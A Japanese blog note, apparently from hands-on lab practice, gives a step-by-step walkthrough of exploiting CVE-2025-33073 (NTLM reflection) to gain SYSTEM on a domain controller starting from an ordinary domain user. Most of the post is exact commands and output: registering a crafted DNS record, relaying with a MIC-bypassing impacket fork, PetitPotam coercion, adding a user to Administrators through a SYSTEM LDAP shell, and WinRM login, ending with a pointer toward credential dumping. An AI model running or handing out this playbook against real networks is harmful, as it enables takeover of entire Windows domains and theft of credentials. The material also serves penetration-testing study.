Ch4n24n のアイコン

Ch4n24n

NTLM リフレクション:一般ドメインユーザーだけで DC の SYSTEM を取る(CVE-2025-33073)

2026/11/07 公開約8分Notes

NTLM_ReflectionCVE-2025-33073NTLM_RelayPetitPotamCoercionActive_DirectoryPrivilege_EscalationWindows

使いどころ

  • 一般ドメインユーザーの資格情報だけで、DC を NT AUTHORITY\SYSTEM で掌握したいとき

既存 PoC( mverschu/CVE-2025-33073 等)がそのままだと動かなかったので、動きを分解し整理した。

前提条件

  • 対象 DC が CVE-2025-33073 未修正(2025年6月の累積更新より前)
  • DNS レコードを追加できる一般ドメインユーザー(AD 統合 DNS の ADIDNS は既定で一般ユーザーが追加可)
  • coerce(認証の強制)した認証が ntlmrelayx のリスナーに届く経路があること

仕組み(なぜ SYSTEM になるか)

  1. coerce される SMB クライアントは lsass(SYSTEM)
  2. 細工名(細工した DNS レコードの名前)を自分自身(localhost)と誤認してローカル NTLM 認証を行い、SYSTEM トークンを認証に載せる
  3. これを DC 自身の LDAP へ反射するため、SYSTEM 権限のセッションになる

フロー

sequenceDiagram
    autonumber
    participant A as 攻撃者(ntlmrelayx)
    participant DC as DC(lsass=SYSTEM)
    participant DNS as DC の DNS
    A->>DNS: localhost+マーシャル名を登録(既定で一般ユーザー可)
    A->>DC: coerce(PetitPotam 等)で細工名へ認証させる
    Note over DC: 細工名を localhost と誤認 → ローカル NTLM<br/>SYSTEM トークンを認証に載せる
    DC->>A: SYSTEM の NTLM 認証が届く
    A->>DC: その認証を DC 自身の LDAP へ反射(リレー)
    DC-->>A: SYSTEM 権限の LDAP セッション確立
    A->>DC: 任意ユーザーを Administrators へ追加 等

手順

1. 対象 DC が脆弱かを確認

侵入済みホストのパッチ適用日を見る。最終更新が 2025年6月より前なら CVE-2025-33073 に脆弱な可能性が高い

PS C:\htb> Get-HotFix

-> InstalledOn のいちばん新しい日付が最終更新日

2. リレー環境を構築(MIC 回避ビルド)

NTLM リレーの MIC(Message Integrity Code。メッセージの改ざんを検知する値)チェックを回避する partial-MIC 版 impacket を venv に入れる

Ch4n24n@htb[/htb]$ python3 -m venv venv
Ch4n24n@htb[/htb]$ source venv/bin/activate
Ch4n24n@htb[/htb]$ pip install --upgrade pip wheel
Ch4n24n@htb[/htb]$ pip install ldap3-bleeding-edge==2.10.1.1337 dnspython
Ch4n24n@htb[/htb]$ pip install "git+https://github.com/decoder-it/impacket-partial-mic.git#egg=impacket"

3. 細工 DNS レコードを登録し反映を確認

$DC は DC の IP、$RELAY は coerce 先(ピボット先)の IP。登録名は localhost 始まり+マーシャル済みターゲット情報(接続先の情報を詰めた文字列)。PoC で生成するか、下の値を流用する

Ch4n24n@htb[/htb]$ bloodyAD -u '[user]' -p='[password]' -d [domain] --host [DC].[domain] add dnsRecord localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA $RELAY
 
[+] localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA has been successfully added

※レコードは反映まで2〜3分かかる

Ch4n24n@htb[/htb]$ dig +short a localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.[domain] @$DC
 
[RELAY_IP]

-> 細工名が $RELAY に解決されれば OK

4. ntlmrelayx を DC の LDAP へ反射で起動

coerce で来た認証を DC 自身の LDAP へリレーする。-i で LDAP 対話シェル、--remove-mic-partial で MIC を回避

Ch4n24n@htb[/htb]$ ntlmrelayx.py -t ldap://$DC -smb2support --no-multirelay --keep-relaying -i --remove-mic-partial
 
[*] Servers started, waiting for connections

5. DC に強制認証を実施させる

coerce_plus(PetitPotam)で、DC に細工名への認証を強制する。L= に登録した細工名を指定

Ch4n24n@htb[/htb]$ nxc smb $DC -d [domain] -u [user] -p='[password]' -M coerce_plus -o M=PetitPotam L='localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'

$RELAY(踏み台)側で、DC からの SMB 接続が届いているかを確認できる。

Ch4n24n@htb[/htb]$ tcpdump -i [iface] -n 'host [DC_IP] and port 445'

6. SYSTEM の LDAP シェルで操作

反射が成功すると、SYSTEM 権限の LDAP 対話シェルがローカルポート(例: 11001)に開く

[*] (SMB): Received connection from 127.0.0.1, attacking target ldap://[DC_IP]
[*] (SMB): Authenticating connection from /@127.0.0.1 against ldap://[DC_IP] SUCCEED [2]
[*] ldap:///@[DC_IP] [2] -> Started interactive Ldap shell via TCP on 127.0.0.1:11001 as /

開いたポートに接続し、SYSTEM 権限で任意ユーザーを Administrators へ追加する

Ch4n24n@htb[/htb]$ rlwrap nc 127.0.0.1 11001
 
# whoami
u:NT AUTHORITY\SYSTEM
 
# add_user_to_group [user] Administrators
Adding user: [user] to group Administrators result: OK

7. 昇格を確認し WinRM でログイン

対象ユーザーが DC の管理者になったことを確認し、ログインする

Ch4n24n@htb[/htb]$ netexec smb $DC -u '[user]' -p='[password]'
 
SMB  [DC_IP]  445  [DC]  [+] [domain]\[user]:[password] (Pwn3d!)
 
Ch4n24n@htb[/htb]$ evil-winrm -i $DC -u '[user]' --password='[password]'

-> あとはドメイン全体の掌握(資格情報のダンプなど)へ展開できる

注意・落とし穴

  • 2025年6月の累積更新で修正済み。 パッチ適用済みの DC には効かない
  • DNS レコードは反映まで2〜3分かかる。dig で解決を確認してから進める
  • MIC チェックの回避に partial-MIC 版 impacket と --remove-mic-partial が必須
  • 踏み台(ピボット)経由のときは、DC → ntlmrelayx の SMB/445 の到達性を転送(Ligolo-ng 等)で確保する

参考

おわりに

  • 個人的に過去一やばい脆弱性です!
  • なぜなら、1つのドメインユーザーを知っているだけで、ドメイン全体を掌握できるからです💦
  • 試験とかでDCを見つけたら、最初にこれを検討してみてください!!(まじでオススメ)
次に読む
© 2026 Ch4n24n